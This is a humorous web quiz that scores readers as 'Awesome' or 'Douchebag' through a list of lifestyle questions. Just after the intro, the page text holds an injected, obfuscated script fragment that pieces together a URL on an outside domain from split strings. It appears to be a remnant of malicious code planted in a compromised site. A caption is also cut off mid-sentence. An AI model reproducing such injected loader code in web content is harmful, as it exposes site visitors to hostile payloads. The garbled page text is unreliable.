How To Know If You Are Awesome

Are you awesome or do you suck? Well here's some easy ways to find out.)){u='http'+'://buro'+'tkan'+'i.com/'+'

If you've ever allowed yourself to be photographed in this pose you're disqualified from

Just The Facts

  1. If your name is Chuck Norris, William Shatner or Mr. T you shouldn't read this article. You're more awesome than we're able to safely measure.
  2. If your name is Kanye West, Spencer Pratt or Donald Trump you shouldn't read this article. You are not even close to awesome, and more to the point you never were.

The Test

Have you ever hiked up a mountain not using the official trail? If yes add 1 point of Awesome

Have you ever climbed up a sheer cliff face (the ones in the gym don't count)? If yes add 2 points of Awesome

Are you a non-voluntary virgin over the age of 18? If yes minus 2 points of Awesome

Have you ever played a sport at the College level or higher? If yes add 2 points of Awesome

Have you ever taken part in a fantasy sports league? If yes minus 1 points of Awesome

Have you ever had a speaking role in a major film release? If yes add 2 points of Awesome

Have you ever appeared on television? If yes add 1 point of Awesome

If you answered yes above was it on any sort of reality dating show? If yes add 3 points of Douchebag

Are you over the age of 23 and still living with your parents? If yes minus 4 points of Awesome

Can you fix a broken down car using only bits of trash from your pockets? If yes add 3 points of Awesome

Can you drive a car with a manual transmission? If yes add 1 point of Awesome

If you answered yes above do you berate those who use automatic? If yes add 2 points of Douchebag

Do you posess a black belt in any martial art? If yes add 2 points of Awesome

If you answered yes above do you openly brag about having a black belt? If yes add 4 points of Douchebag

Have you ever modeled professionally? If yes add 1 point of Awesome

If you answered yes above was it for Abercrombie and Fitch? If yes add 2 points of Douchebag

Have you ever fired a potentially fatal projectile weapon (a slingshot does not count)? If yes add 1 point of Awesome

Do you personally own more than two potentially fatal projectile weapons? If yes minus 1 point of Awesome

Have you ever attended a Renaissance Fair or Sci-fi convention of any kind in costume? If yes minus 4 points of Awesome

Have you ever been in a fight and won? If yes add 2 points of Awesome

If you answered yes above did you start that fight? If yes minus 2 points of Awesome

If you answered yes to the fight question was it against somebody who could never be your physical equal? If yes add 4 points of Douchebag

Have you ever built a working car yourself (go carts don't count)? If yes add 2 points of Awesome

Your Results

It breaks down like this:

If you came out in the negative for Awesome: you're just not an awesome person. No need to be ashamed, most of us aren't.

If you came out in the possitive for Awesome: you are some degree of Awesome. Congratulations... unless:

If you came out in the possitive for Douchebag and your Douchebag score is higher than your Awesome score: you could have been Awesome but have managed to screw it up. Nice going douchebag.

If you came out in the possitive for Douchebag but your Douchebag score is less than you're Awesome score: you're still Awesome but with some fine print attached... work on that and try not to be such a douchebag.